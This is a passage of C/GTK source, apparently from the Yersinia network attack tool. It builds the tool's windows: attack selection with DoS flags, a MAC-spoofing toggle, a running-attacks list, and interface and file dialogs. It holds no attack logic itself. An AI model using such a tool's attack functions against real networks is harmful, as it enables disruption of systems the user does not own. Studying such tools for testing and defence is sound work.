main_vhn_labels[MAX_PROTOCOLS], "Yersinia log for debugging purposes", NULL); gtk_notebook_set_tab_label (GTK_NOTEBOOK (main_vhv2_notebook), gtk_notebook_get_nth_page (GTK_NOTEBOOK (main_vhv2_notebook), MAX_PROTOCOLS), main_vhn_labels[MAX_PROTOCOLS]); /* Hexadecimal View */ main_vhv2_scrollhex = gtk_scrolled_window_new (NULL, NULL); gtk_widget_show (main_vhv2_scrollhex); gtk_paned_pack2 (GTK_PANED (main_vh2_vpaned), main_vhv2_scrollhex, FALSE, TRUE); gtk_scrolled_window_set_policy (GTK_SCROLLED_WINDOW (main_vhv2_scrollhex), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type (GTK_SCROLLED_WINDOW (main_vhv2_scrollhex), GTK_SHADOW_IN); buffer_hex = gtk_text_buffer_new(NULL); main_vhv2_texthex = gtk_text_view_new_with_buffer(buffer_hex); /* We need to set a monospaced font for the alignment */ font_desc = pango_font_description_from_string ("Monospace 10"); gtk_widget_modify_font(main_vhv2_texthex, font_desc); // pango_font_description_free(font_desc); gtk_widget_show (main_vhv2_texthex); gtk_container_add (GTK_CONTAINER (main_vhv2_scrollhex), main_vhv2_texthex); gtk_paned_pack2 (GTK_PANED (main_vh2_vpaned), main_vhv2_scrollhex, TRUE, TRUE); /* Status bar - botton of the screen */ helper->statusbar = gtk_statusbar_new (); gtk_widget_show (helper->statusbar); gtk_box_pack_start (GTK_BOX (main_vbox), helper->statusbar, FALSE, FALSE, 0); helper->mode = gtk_notebook_get_current_page(GTK_NOTEBOOK(main_vhv2_notebook)); /* Timeouts */ g_timeout_add(500, (GSourceFunc)gtk_c_refresh_mwindow, (gpointer)helper); g_timeout_add(1000, (GSourceFunc)>k_c_clock_update, main_vhvv_clock); /* Menu signals */ g_signal_connect ((gpointer) menu_file_open, "activate", G_CALLBACK (gtk_c_on_file_open_activate), helper); g_signal_connect ((gpointer) menu_file_save, "activate", G_CALLBACK (gtk_c_on_file_save_activate), helper); g_signal_connect ((gpointer) menu_file_quit, "activate", G_CALLBACK (gtk_c_on_file_quit_activate), helper); g_signal_connect ((gpointer) menu_protocols_proto1, "activate", G_CALLBACK (on_protocols_proto1_activate), NULL); g_signal_connect ((gpointer) menu_actions_execute, "activate", G_CALLBACK (gtk_c_on_actions_execute_activate), helper); g_signal_connect ((gpointer) menu_actions_interfaces, "activate", G_CALLBACK (gtk_c_on_actions_interfaces_activate), helper); g_signal_connect ((gpointer) menu_actions_load_default, "activate", G_CALLBACK (gtk_c_on_menu_actions_load_default_activate), helper); g_signal_connect ((gpointer) menu_actions_list_attacks, "activate", G_CALLBACK (gtk_c_on_menu_actions_list_attacks_activate), helper); g_signal_connect ((gpointer) menu_actions_clear, "activate", G_CALLBACK (on_menu_actions_clear_activate), main_vhv2_notebook); /* g_signal_connect ((gpointer) menu_options_edit, "toggle", G_CALLBACK (gtk_c_on_menu_options_edit_toggle), helper);*/ g_signal_connect ((gpointer) menu_options_macspoofing, "toggle", G_CALLBACK (on_menu_options_macspoofing_toggle), helper->node); g_signal_connect ((gpointer) menu_help_about, "activate", G_CALLBACK (on_help_about_activate), NULL); /* Toolbar signals */ g_signal_connect ((gpointer) toolbar_launch, "clicked", G_CALLBACK (gtk_c_on_actions_execute_activate), helper); g_signal_connect ((gpointer) toolbar_interfaces, "clicked", G_CALLBACK (gtk_c_on_actions_interfaces_activate), helper); g_signal_connect ((gpointer) toolbar_default, "clicked", G_CALLBACK (gtk_c_on_menu_actions_load_default_activate), helper); g_signal_connect ((gpointer) toolbar_list_attacks, "clicked", G_CALLBACK (gtk_c_on_menu_actions_list_attacks_activate), helper); g_signal_connect ((gpointer) toolbar_clear, "clicked", G_CALLBACK (on_menu_actions_clear_activate), main_vhv2_notebook); g_signal_connect ((gpointer) toolbar_edit, "toggled", G_CALLBACK (gtk_c_on_menu_options_edit_toggle), helper); g_signal_connect ((gpointer) toolbar_quit, "clicked", G_CALLBACK (gtk_c_on_file_quit_activate), helper); /* Mwindow signals */ g_signal_connect_after(G_OBJECT(main_vhv2_notebook), "switch-page", G_CALLBACK(gtk_c_refresh_mwindow_notebook), helper); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (Main, Main, "Main"); GLADE_HOOKUP_OBJECT (Main, main_vbox, "main_vbox"); GLADE_HOOKUP_OBJECT (Main, main_menubar, "main_menubar"); GLADE_HOOKUP_OBJECT (Main, menu_file, "menu_file"); GLADE_HOOKUP_OBJECT (Main, menu_file_menu, "menu_file_menu"); GLADE_HOOKUP_OBJECT (Main, menu_file_open, "menu_file_open"); GLADE_HOOKUP_OBJECT (Main, menu_file_save, "menu_file_save"); GLADE_HOOKUP_OBJECT (Main, separatormenuitem1, "separatormenuitem1"); GLADE_HOOKUP_OBJECT (Main, menu_file_quit, "menu_file_quit"); GLADE_HOOKUP_OBJECT (Main, menu_protocols, "menu_protocols"); GLADE_HOOKUP_OBJECT (Main, menu_protocols_menu, "menu_protocols_menu"); GLADE_HOOKUP_OBJECT (Main, menu_protocols_proto1, "menu_protocols_proto1"); GLADE_HOOKUP_OBJECT (Main, menu_actions, "menu_actions"); GLADE_HOOKUP_OBJECT (Main, menu_actions_menu, "menu_actions_menu"); GLADE_HOOKUP_OBJECT (Main, menu_actions_execute, "menu_actions_execute"); GLADE_HOOKUP_OBJECT (Main, menu_actions_interfaces, "menu_actions_interfaces"); GLADE_HOOKUP_OBJECT (Main, menu_actions_load_default, "menu_actions_load_default"); GLADE_HOOKUP_OBJECT (Main, menu_actions_list_attacks, "menu_actions_list_attacks"); GLADE_HOOKUP_OBJECT (Main, menu_actions_clear, "menu_actions_clear"); GLADE_HOOKUP_OBJECT (Main, menu_actions_clear_menu, "menu_actions_clear_menu"); GLADE_HOOKUP_OBJECT (Main, menu_clear_proto1, "menu_clear_proto1"); GLADE_HOOKUP_OBJECT (Main, menu_capture, "menu_capture"); GLADE_HOOKUP_OBJECT (Main, menu_capture_menu, "menu_capture_menu"); GLADE_HOOKUP_OBJECT (Main, menu_options, "menu_options"); GLADE_HOOKUP_OBJECT (Main, menu_options_menu, "menu_options_menu"); GLADE_HOOKUP_OBJECT (Main, menu_options_edit, "menu_options_edit"); GLADE_HOOKUP_OBJECT (Main, menu_options_macspoofing, "menu_options_macspoofing"); GLADE_HOOKUP_OBJECT (Main, menu_help, "menu_help"); GLADE_HOOKUP_OBJECT (Main, menu_help_menu, "menu_help_menu"); GLADE_HOOKUP_OBJECT (Main, menu_help_about, "menu_help_about"); GLADE_HOOKUP_OBJECT (Main, toolbar_launch, "toolbar_launch"); GLADE_HOOKUP_OBJECT (Main, toolbar_interfaces, "toolbar_interfaces"); GLADE_HOOKUP_OBJECT (Main, toolbar_default, "toolbar_default"); GLADE_HOOKUP_OBJECT (Main, toolbar_list_attacks, "toolbar_list_attacks"); GLADE_HOOKUP_OBJECT (Main, toolbar_clear, "toolbar_clear"); GLADE_HOOKUP_OBJECT (Main, toolbar_capture, "toolbar_capture"); GLADE_HOOKUP_OBJECT (Main, toolbar_edit, "toolbar_edit"); GLADE_HOOKUP_OBJECT (Main, toolbar_quit, "toolbar_quit"); GLADE_HOOKUP_OBJECT (Main, main_vbox_hpaned, "main_vbox_hpaned"); GLADE_HOOKUP_OBJECT (Main, main_vh_vpaned, "main_vh_vpaned"); GLADE_HOOKUP_OBJECT (Main, main_vhv_scroll, "main_vhv_scroll"); GLADE_HOOKUP_OBJECT (Main, main_vhvs_tree, "main_vhvs_tree"); GLADE_HOOKUP_OBJECT (Main, main_vhv_vbox, "main_vhv_vbox"); GLADE_HOOKUP_OBJECT (Main, main_vhvv_scroll, "main_vhvv_scroll"); GLADE_HOOKUP_OBJECT (Main, main_vhvvs_tree, "main_vhvvs_tree"); GLADE_HOOKUP_OBJECT (Main, main_vhv2_texthex, "main_vhv2_texthex"); GLADE_HOOKUP_OBJECT (Main, main_vhvv_clock, "main_vhvv_clock"); GLADE_HOOKUP_OBJECT (Main, helper->statusbar, "statusbar"); gtk_window_add_accel_group (GTK_WINDOW (Main), accel_group); return Main; } GtkWidget* gtk_i_create_opendialog (struct gtk_s_helper *helper) { GtkWidget *opendialog; GtkWidget *opendialog_vbox; GtkWidget *opendialog_buttons; GtkWidget *opendialog_cancel_button; GtkWidget *opendialog_ok_button; opendialog = gtk_file_chooser_dialog_new (_("Open configuration file"), NULL, GTK_FILE_CHOOSER_ACTION_OPEN, NULL, NULL); GTK_WINDOW (opendialog)->type = GTK_WINDOW_TOPLEVEL; gtk_window_set_type_hint (GTK_WINDOW (opendialog), GDK_WINDOW_TYPE_HINT_DIALOG); opendialog_vbox = GTK_DIALOG (opendialog)->vbox; gtk_widget_show (opendialog_vbox); opendialog_buttons = GTK_DIALOG (opendialog)->action_area; gtk_widget_show (opendialog_buttons); gtk_button_box_set_layout (GTK_BUTTON_BOX (opendialog_buttons), GTK_BUTTONBOX_END); opendialog_cancel_button = gtk_button_new_from_stock ("gtk-cancel"); gtk_widget_show (opendialog_cancel_button); gtk_dialog_add_action_widget (GTK_DIALOG (opendialog), opendialog_cancel_button, GTK_RESPONSE_CANCEL); GTK_WIDGET_SET_FLAGS (opendialog_cancel_button, GTK_CAN_DEFAULT); opendialog_ok_button = gtk_button_new_from_stock ("gtk-open"); gtk_widget_show (opendialog_ok_button); gtk_dialog_add_action_widget (GTK_DIALOG (opendialog), opendialog_ok_button, GTK_RESPONSE_OK); GTK_WIDGET_SET_FLAGS (opendialog_ok_button, GTK_CAN_DEFAULT); g_signal_connect_swapped ((gpointer) opendialog_cancel_button, "clicked", G_CALLBACK (gtk_widget_destroy), GTK_OBJECT (opendialog)); g_signal_connect ((gpointer) opendialog_ok_button, "clicked", G_CALLBACK (gtk_c_opendialog_open), helper); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (opendialog, opendialog, "opendialog"); GLADE_HOOKUP_OBJECT_NO_REF (opendialog, opendialog_vbox, "opendialog_vbox"); GLADE_HOOKUP_OBJECT_NO_REF (opendialog, opendialog_buttons, "opendialog_buttons"); GLADE_HOOKUP_OBJECT (opendialog, opendialog_cancel_button, "opendialog_cancel_button"); GLADE_HOOKUP_OBJECT (opendialog, opendialog_ok_button, "opendialog_ok_button"); gtk_widget_grab_default (opendialog_ok_button); return opendialog; } GtkWidget* gtk_i_create_savedialog (struct gtk_s_helper *helper) { GtkWidget *savedialog; GtkWidget *savedialog_vbox; GtkWidget *savedialog_buttons; GtkWidget *savedialog_cancel_button; GtkWidget *savedialog_ok_button; savedialog = gtk_file_chooser_dialog_new (_("Save config file"), NULL, GTK_FILE_CHOOSER_ACTION_SAVE, NULL, NULL); GTK_WINDOW (savedialog)->type = GTK_WINDOW_TOPLEVEL; gtk_window_set_type_hint (GTK_WINDOW (savedialog), GDK_WINDOW_TYPE_HINT_DIALOG); savedialog_vbox = GTK_DIALOG (savedialog)->vbox; gtk_widget_show (savedialog_vbox); savedialog_buttons = GTK_DIALOG (savedialog)->action_area; gtk_widget_show (savedialog_buttons); gtk_button_box_set_layout (GTK_BUTTON_BOX (savedialog_buttons), GTK_BUTTONBOX_END); savedialog_cancel_button = gtk_button_new_from_stock ("gtk-cancel"); gtk_widget_show (savedialog_cancel_button); gtk_dialog_add_action_widget (GTK_DIALOG (savedialog), savedialog_cancel_button, GTK_RESPONSE_CANCEL); GTK_WIDGET_SET_FLAGS (savedialog_cancel_button, GTK_CAN_DEFAULT); savedialog_ok_button = gtk_button_new_from_stock ("gtk-open"); gtk_widget_show (savedialog_ok_button); gtk_dialog_add_action_widget (GTK_DIALOG (savedialog), savedialog_ok_button, GTK_RESPONSE_OK); GTK_WIDGET_SET_FLAGS (savedialog_ok_button, GTK_CAN_DEFAULT); g_signal_connect_swapped ((gpointer) savedialog_cancel_button, "clicked", G_CALLBACK (gtk_widget_destroy), GTK_OBJECT (savedialog)); g_signal_connect ((gpointer) savedialog_ok_button, "clicked", G_CALLBACK (gtk_c_savedialog_save), helper); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (savedialog, savedialog, "savedialog"); GLADE_HOOKUP_OBJECT_NO_REF (savedialog, savedialog_vbox, "savedialog_vbox"); GLADE_HOOKUP_OBJECT_NO_REF (savedialog, savedialog_buttons, "savedialog_buttons"); GLADE_HOOKUP_OBJECT (savedialog, savedialog_cancel_button, "savedialog_cancel_button"); GLADE_HOOKUP_OBJECT (savedialog, savedialog_ok_button, "savedialog_ok_button"); gtk_widget_grab_default (savedialog_ok_button); return savedialog; } GtkWidget* gtk_i_create_capturedialog (struct gtk_s_helper *helper) { GtkWidget *savedialog; GtkWidget *savedialog_vbox; GtkWidget *savedialog_buttons; GtkWidget *savedialog_cancel_button; GtkWidget *savedialog_ok_button; savedialog = gtk_file_chooser_dialog_new (_("Save capture file"), NULL, GTK_FILE_CHOOSER_ACTION_SAVE, NULL, NULL); GTK_WINDOW (savedialog)->type = GTK_WINDOW_TOPLEVEL; //gtk_window_set_type_hint (GTK_WINDOW (savedialog), GDK_WINDOW_TYPE_HINT_DIALOG); savedialog_vbox = GTK_DIALOG (savedialog)->vbox; gtk_widget_show (savedialog_vbox); savedialog_buttons = GTK_DIALOG (savedialog)->action_area; gtk_widget_show (savedialog_buttons); gtk_button_box_set_layout (GTK_BUTTON_BOX (savedialog_buttons), GTK_BUTTONBOX_END); savedialog_cancel_button = gtk_button_new_from_stock ("gtk-cancel"); gtk_widget_show (savedialog_cancel_button); gtk_dialog_add_action_widget (GTK_DIALOG (savedialog), savedialog_cancel_button, GTK_RESPONSE_CANCEL); GTK_WIDGET_SET_FLAGS (savedialog_cancel_button, GTK_CAN_DEFAULT); savedialog_ok_button = gtk_button_new_from_stock ("gtk-open"); gtk_widget_show (savedialog_ok_button); gtk_dialog_add_action_widget (GTK_DIALOG (savedialog), savedialog_ok_button, GTK_RESPONSE_OK); GTK_WIDGET_SET_FLAGS (savedialog_ok_button, GTK_CAN_DEFAULT); g_signal_connect_swapped ((gpointer) savedialog_cancel_button, "clicked", G_CALLBACK (gtk_widget_destroy), GTK_OBJECT (savedialog)); g_signal_connect ((gpointer) savedialog_ok_button, "clicked", G_CALLBACK (gtk_c_capturedialog_save), helper); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (savedialog, savedialog, "savedialog"); GLADE_HOOKUP_OBJECT_NO_REF (savedialog, savedialog_vbox, "savedialog_vbox"); GLADE_HOOKUP_OBJECT_NO_REF (savedialog, savedialog_buttons, "savedialog_buttons"); GLADE_HOOKUP_OBJECT (savedialog, savedialog_cancel_button, "savedialog_cancel_button"); GLADE_HOOKUP_OBJECT (savedialog, savedialog_ok_button, "savedialog_ok_button"); gtk_widget_grab_default (savedialog_ok_button); return savedialog; } GtkWidget* gtk_i_create_aboutdialog (void) { GtkWidget *aboutdialog; int j; const gchar *authors[] = { "David Barroso Berrueta ", "Alfredo Andr\303\251s Omella ", NULL }; /* TRANSLATORS: Replace this string with your names, one name per line. */ gchar *translators = _("translator-credits"); GdkPixbuf *aboutdialog_logo_pixbuf; aboutdialog = gtk_about_dialog_new (); gtk_about_dialog_set_version (GTK_ABOUT_DIALOG (aboutdialog), VERSION); gtk_about_dialog_set_name (GTK_ABOUT_DIALOG (aboutdialog), _("Yersinia")); gtk_about_dialog_set_copyright (GTK_ABOUT_DIALOG (aboutdialog), _(" Yersinia\n By David Barroso and Alfredo Andres \nCopyright 2005, 2006, 2007 Alfredo Andres and David Barroso")); j = term_motd(); if (j >= 0) gtk_about_dialog_set_comments (GTK_ABOUT_DIALOG (aboutdialog), _(vty_motd[j])); gtk_about_dialog_set_license (GTK_ABOUT_DIALOG (aboutdialog), LICENSE); gtk_about_dialog_set_website (GTK_ABOUT_DIALOG (aboutdialog), "http://www.yersinia.net"); gtk_about_dialog_set_website_label (GTK_ABOUT_DIALOG (aboutdialog), _("http://daslfkjsdf")); gtk_about_dialog_set_authors (GTK_ABOUT_DIALOG (aboutdialog), authors); gtk_about_dialog_set_translator_credits (GTK_ABOUT_DIALOG (aboutdialog), translators); aboutdialog_logo_pixbuf = create_pixbuf ("yersinia.png"); gtk_about_dialog_set_logo (GTK_ABOUT_DIALOG (aboutdialog), aboutdialog_logo_pixbuf); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (aboutdialog, aboutdialog, "aboutdialog"); return aboutdialog; } GtkWidget* gtk_i_create_attacksdialog (GtkWidget *notebook, struct gtk_s_helper *helper, u_int8_t mode) { GtkWidget *attacksdialog; GtkWidget *attacks_frame; GtkWidget *attacks_vbox; GtkWidget *attacks_v_table; GtkWidget *attacks_notebook; GtkWidget *attacks_n_labels[MAX_PROTOCOLS]; GtkWidget *attacks_vt_radio_attack[MAX_PROTOCOLS]; GtkWidget *attacks_vt_label_attack; GtkWidget *attacks_vt_label_dos; GtkWidget *attacks_vt_check_attack1; GtkWidget *attacks_v_hbox; GtkWidget *attacks_vh_cancel_button; GtkWidget *attacks_vh_ok_button; struct attack *theattack = NULL; u_int8_t i, j, num_attacks; attacksdialog = gtk_window_new (GTK_WINDOW_TOPLEVEL); gtk_window_set_title (GTK_WINDOW (attacksdialog), _("Choose attack")); gtk_window_set_position (GTK_WINDOW (attacksdialog), GTK_WIN_POS_CENTER_ON_PARENT); attacks_vbox = gtk_vbox_new (FALSE, 0); gtk_widget_show (attacks_vbox); gtk_container_add (GTK_CONTAINER (attacksdialog), attacks_vbox); attacks_notebook = gtk_notebook_new (); gtk_widget_show(attacks_notebook); g_signal_connect_after(G_OBJECT(attacks_notebook), "switch-page", G_CALLBACK(gtk_c_attacks_synchro), (gpointer)notebook); gtk_box_pack_start (GTK_BOX (attacks_vbox), attacks_notebook, TRUE, TRUE, 0); for (i=0; i < MAX_PROTOCOLS; i++) { if (protocols[i].attacks) { theattack = (struct attack *)protocols[i].attacks; attacks_frame = gtk_frame_new(_("Choose attack")); if (protocols[i].visible) gtk_widget_show(attacks_frame); gtk_container_add (GTK_CONTAINER (attacks_notebook), attacks_frame); attacks_n_labels[i] = gtk_label_new (_(protocols[i].namep)); if (protocols[i].visible) gtk_widget_show (attacks_n_labels[i]); gtk_notebook_set_tab_label (GTK_NOTEBOOK (attacks_notebook), gtk_notebook_get_nth_page (GTK_NOTEBOOK (attacks_notebook), i), attacks_n_labels[i]); attacks_v_table = gtk_table_new (SIZE_ARRAY(theattack), 3, FALSE); gtk_widget_show (attacks_v_table); gtk_container_add(GTK_CONTAINER(attacks_frame), attacks_v_table); gtk_container_set_border_width (GTK_CONTAINER (attacks_v_table), 10); attacks_vt_label_attack = gtk_label_new (_("Description")); gtk_widget_show (attacks_vt_label_attack); gtk_table_attach (GTK_TABLE (attacks_v_table), attacks_vt_label_attack, 0, 1, 0, 1, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); gtk_misc_set_alignment (GTK_MISC (attacks_vt_label_attack), 0, 0.5); attacks_vt_label_dos = gtk_label_new (_("DoS")); gtk_widget_show (attacks_vt_label_dos); gtk_table_attach (GTK_TABLE (attacks_v_table), attacks_vt_label_dos, 1, 2, 0, 1, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); gtk_misc_set_alignment (GTK_MISC (attacks_vt_label_dos), 0, 0.5); num_attacks = 0; while(theattack[num_attacks].s) num_attacks++; for(j = 0; j < num_attacks; j++) { if (j == 0) attacks_vt_radio_attack[i] = gtk_radio_button_new_with_label(NULL, theattack[j].s); else attacks_vt_radio_attack[i] = gtk_radio_button_new_with_label_from_widget(GTK_RADIO_BUTTON(attacks_vt_radio_attack[i]), (theattack[j].s)); gtk_widget_show (attacks_vt_radio_attack[i]); g_signal_connect(attacks_vt_radio_attack[i], "toggled", (GCallback) gtk_c_attacks_radio_changed, helper); gtk_table_attach (GTK_TABLE (attacks_v_table), attacks_vt_radio_attack[i], 0, 1, j+1, j+2, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); attacks_vt_check_attack1 = gtk_check_button_new(); gtk_widget_set_sensitive(GTK_WIDGET(attacks_vt_check_attack1), FALSE); if (theattack[j].type == DOS) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(attacks_vt_check_attack1), TRUE); else gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(attacks_vt_check_attack1), FALSE); gtk_widget_show (attacks_vt_check_attack1); gtk_table_attach (GTK_TABLE (attacks_v_table), attacks_vt_check_attack1, 1, 2, j+1, j+2, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); } } } /* Start in the same label than the main window */ gtk_notebook_set_current_page(GTK_NOTEBOOK(attacks_notebook), mode); attacks_v_hbox = gtk_hbox_new (TRUE, 0); gtk_widget_show (attacks_v_hbox); gtk_container_add (GTK_CONTAINER (attacks_vbox), attacks_v_hbox); attacks_vh_cancel_button = gtk_button_new_with_mnemonic (_("Cancel")); gtk_widget_show (attacks_vh_cancel_button); gtk_box_pack_start (GTK_BOX (attacks_v_hbox), attacks_vh_cancel_button, FALSE, TRUE, 0); g_signal_connect_swapped ((gpointer) attacks_vh_cancel_button, "clicked", G_CALLBACK (gtk_widget_destroy), GTK_OBJECT (attacksdialog)); attacks_vh_ok_button = gtk_button_new_with_mnemonic (_("OK")); gtk_widget_show (attacks_vh_ok_button); gtk_box_pack_start (GTK_BOX (attacks_v_hbox), attacks_vh_ok_button, FALSE, TRUE, 0); g_signal_connect((gpointer) attacks_vh_ok_button, "clicked", G_CALLBACK (gtk_c_attacks_launch), helper); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (attacksdialog, attacksdialog, "attacksdialog"); GLADE_HOOKUP_OBJECT (attacksdialog, attacks_vbox, "attacks_vbox"); GLADE_HOOKUP_OBJECT (attacksdialog, attacks_v_table, "attacks_v_table"); GLADE_HOOKUP_OBJECT (attacksdialog, attacks_vt_label_attack, "attacks_vt_label_attack"); GLADE_HOOKUP_OBJECT (attacksdialog, attacks_vt_label_dos, "attacks_vt_label_dos"); GLADE_HOOKUP_OBJECT (attacksdialog, attacks_vt_check_attack1, "attacks_vt_check_attack1"); GLADE_HOOKUP_OBJECT (attacksdialog, attacks_v_hbox, "attacks_v_hbox"); GLADE_HOOKUP_OBJECT (attacksdialog, attacks_notebook, "attacks_notebook"); GLADE_HOOKUP_OBJECT (attacksdialog, attacks_vh_cancel_button, "attacks_vh_cancel_button"); GLADE_HOOKUP_OBJECT (attacksdialog, attacks_vh_ok_button, "attacks_vh_ok_button"); return attacksdialog; } GtkWidget* create_interfacesdialog (struct term_node *node) { GtkWidget *interfacesdialog; GtkWidget *interfaces_frame; GtkWidget *interfaces_vbox; GtkWidget *interfaces_v_table; GtkWidget *interfaces_v_button; GtkWidget **int_checkb; dlist_t *p; struct interface_data *iface_data; u_int32_t i; void *found; interfacesdialog = gtk_window_new (GTK_WINDOW_TOPLEVEL); gtk_widget_set_size_request (interfacesdialog, 200, 150); gtk_window_set_title (GTK_WINDOW (interfacesdialog), _("Choose interfaces")); gtk_window_set_position (GTK_WINDOW (interfacesdialog), GTK_WIN_POS_CENTER_ON_PARENT); interfaces_frame = gtk_frame_new(_("Select interfaces")); gtk_widget_show(interfaces_frame); gtk_container_add(GTK_CONTAINER (interfacesdialog), interfaces_frame); interfaces_vbox = gtk_vbox_new (FALSE, 0); gtk_widget_show (interfaces_vbox); gtk_container_add (GTK_CONTAINER (interfaces_frame), interfaces_vbox); interfaces_v_table = gtk_table_new (dlist_length(interfaces->list), 1, FALSE); gtk_widget_show (interfaces_v_table); gtk_box_pack_start (GTK_BOX (interfaces_vbox), interfaces_v_table, TRUE, TRUE, 0); gtk_container_set_border_width (GTK_CONTAINER (interfaces_v_table), 5); int_checkb = (GtkWidget **) calloc(dlist_length(interfaces->list), sizeof(GtkWidget *)); for (p = interfaces->list, i = 0; p; p = dlist_next(interfaces->list, p), i++) { iface_data = (struct interface_data *) dlist_data(p); found = dlist_search(node->used_ints->list, node->used_ints->cmp, (void *) iface_data->ifname); int_checkb[i] = gtk_check_button_new_with_mnemonic(iface_data->ifname); gtk_widget_show(int_checkb[i]); if (found) gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(int_checkb[i]), TRUE); else gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(int_checkb[i]), FALSE); gtk_table_attach (GTK_TABLE (interfaces_v_table), int_checkb[i], 0, 1, i, i + 1, (GtkAttachOptions) (GTK_FILL), (GtkAttachOptions) (0), 0, 0); g_signal_connect (int_checkb[i], "toggled", G_CALLBACK (gtk_c_toggle_interface), node); } interfaces_v_button = gtk_button_new_with_mnemonic (_("OK")); gtk_widget_show (interfaces_v_button); gtk_box_pack_start (GTK_BOX (interfaces_vbox), interfaces_v_button, FALSE, FALSE, 0); g_signal_connect_swapped ((gpointer) interfaces_v_button, "clicked", G_CALLBACK (gtk_widget_destroy), GTK_OBJECT (interfacesdialog)); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (interfacesdialog, interfacesdialog, "interfacesdialog"); GLADE_HOOKUP_OBJECT (interfacesdialog, interfaces_vbox, "interfaces_vbox"); GLADE_HOOKUP_OBJECT (interfacesdialog, interfaces_v_table, "interfaces_v_table"); GLADE_HOOKUP_OBJECT (interfacesdialog, interfaces_v_button, "interfaces_v_button"); return interfacesdialog; } GtkWidget* gtk_i_create_listattacksdialog (struct term_node *node) { GtkWidget *listattacksdialog; GtkWidget *listattacks_frame; GtkWidget *listattacks_vbox; GtkWidget *listattacks_v_hbox; GtkWidget *listattacks_vh_label; GtkWidget *listattacks_vh_labeln; GtkWidget *listattacks_vh_labeld; GtkWidget *listattacks_vh_button; GtkWidget *listattacks_v_cancel_button; GtkWidget *listattacks_v_ok_button; struct attack *theattack = NULL; u_int8_t i, j; listattacksdialog = gtk_window_new (GTK_WINDOW_TOPLEVEL); gtk_window_set_title (GTK_WINDOW (listattacksdialog), _("Attacks list")); gtk_window_set_position (GTK_WINDOW (listattacksdialog), GTK_WIN_POS_CENTER_ON_PARENT); listattacks_frame = gtk_frame_new(_("Attacks list")); gtk_widget_show(listattacks_frame); gtk_container_add(GTK_CONTAINER (listattacksdialog), listattacks_frame); listattacks_vbox = gtk_vbox_new (FALSE, 0); gtk_widget_show (listattacks_vbox); gtk_container_add (GTK_CONTAINER (listattacks_frame), listattacks_vbox); for (i = 0; i < MAX_PROTOCOLS; i++) { theattack = protocols[i].attacks; for (j = 0; j < MAX_THREAD_ATTACK; j++) { if (node->protocol[i].attacks[j].up) { listattacks_v_hbox = gtk_hbox_new(FALSE, 0); gtk_widget_show(listattacks_v_hbox); listattacks_vh_label = gtk_label_new(protocols[i].namep); gtk_widget_show(listattacks_vh_label); gtk_box_pack_start(GTK_BOX(listattacks_v_hbox), listattacks_vh_label, TRUE, TRUE, 0); /* listattacks_vh_labeln = gtk_new_label(node->protocols[i].attacks[j].attack); gtk_widget_show(listattacks_vh_labeln): gtk_box_pack_start(GTK_BOX(listattacks_v_hbox), listattacks_vh_labeln, TRUE, TRUE, 0); */ listattacks_vh_labeld = gtk_label_new(theattack[node->protocol[i].attacks[j].attack].s); gtk_widget_show(listattacks_vh_labeld); gtk_box_pack_start(GTK_BOX(listattacks_v_hbox), listattacks_vh_labeld, TRUE, TRUE, 0); listattacks_vh_button = gtk_button_new_with_label("Cancel attack"); gtk_widget_show(listattacks_vh_button); gtk_box_pack_start(GTK_BOX(listattacks_v_hbox), listattacks_vh_button, TRUE, TRUE, 0); gtk_box_pack_start(GTK_BOX (listattacks_vbox), listattacks_v_hbox, TRUE, TRUE, 0); } } } listattacks_v_cancel_button = gtk_button_new_with_mnemonic (_("Cancel all attacks")); gtk_widget_show (listattacks_v_cancel_button); gtk_box_pack_start (GTK_BOX (listattacks_vbox), listattacks_v_cancel_button, FALSE, FALSE, 0); g_signal_connect ((gpointer) listattacks_v_cancel_button, "clicked", G_CALLBACK (gtk_c_listattacks_destroyall), node); listattacks_v_ok_button = gtk_button_new_with_mnemonic (_("Cancel")); gtk_widget_show (listattacks_v_ok_button); gtk_box_pack_start (GTK_BOX (listattacks_vbox), listattacks_v_ok_button, FALSE, FALSE, 0); g_signal_connect_swapped ((gpointer) listattacks_v_ok_button, "clicked", G_CALLBACK (gtk_widget_destroy), GTK_OBJECT (listattacksdialog)); /* Store pointers to all widgets, for use by lookup_widget(). */ GLADE_HOOKUP_OBJECT_NO_REF (listattacksdialog, listattacksdialog, "listattacksdialog"); GLADE_HOOKUP_OBJECT (listattacksdialog, listattacks_vbox, "listattacks_vbox"); GLADE_HOOKUP_OBJECT (listattacksdialog, listattacks_v_ok_button, "listattacks_v_ok_button"); GLADE_HOOKUP_OBJECT (listattacksdialog, listattacks_v_cancel_button, "listattacks_v_cancel_button"); return listattacksdialog; } GtkWidget* gtk_i_create_warningdialog (char *msg, ...) { GtkWidget *warningdialog; GtkWidget *warning_vbox; GtkWidget *warning_v_scroll; GtkWidget *warning_vs_text; GtkWidget *warning_v_button; va_list ap; char buffer[4096]; va_start(ap, msg); vsnprintf(buffer, 4096, msg, ap); va_end(ap); warningdialog = gtk_window_new (GTK_WINDOW_POPUP); gtk_widget_set_size_request (warningdialog, 200, 150); gtk_window_set_title (GTK_WINDOW (warningdialog), _("Warning")); gtk_window_set_position (GTK_WINDOW (warningdialog), GTK_WIN_POS_CENTER_ON_PARENT); gtk_window_set_type_hint (GTK_WINDOW (warningdialog), GDK_WINDOW_TYPE_HINT_SPLASHSCREEN); warning_vbox = gtk_vbox_new (FALSE, 0); gtk_widget_show 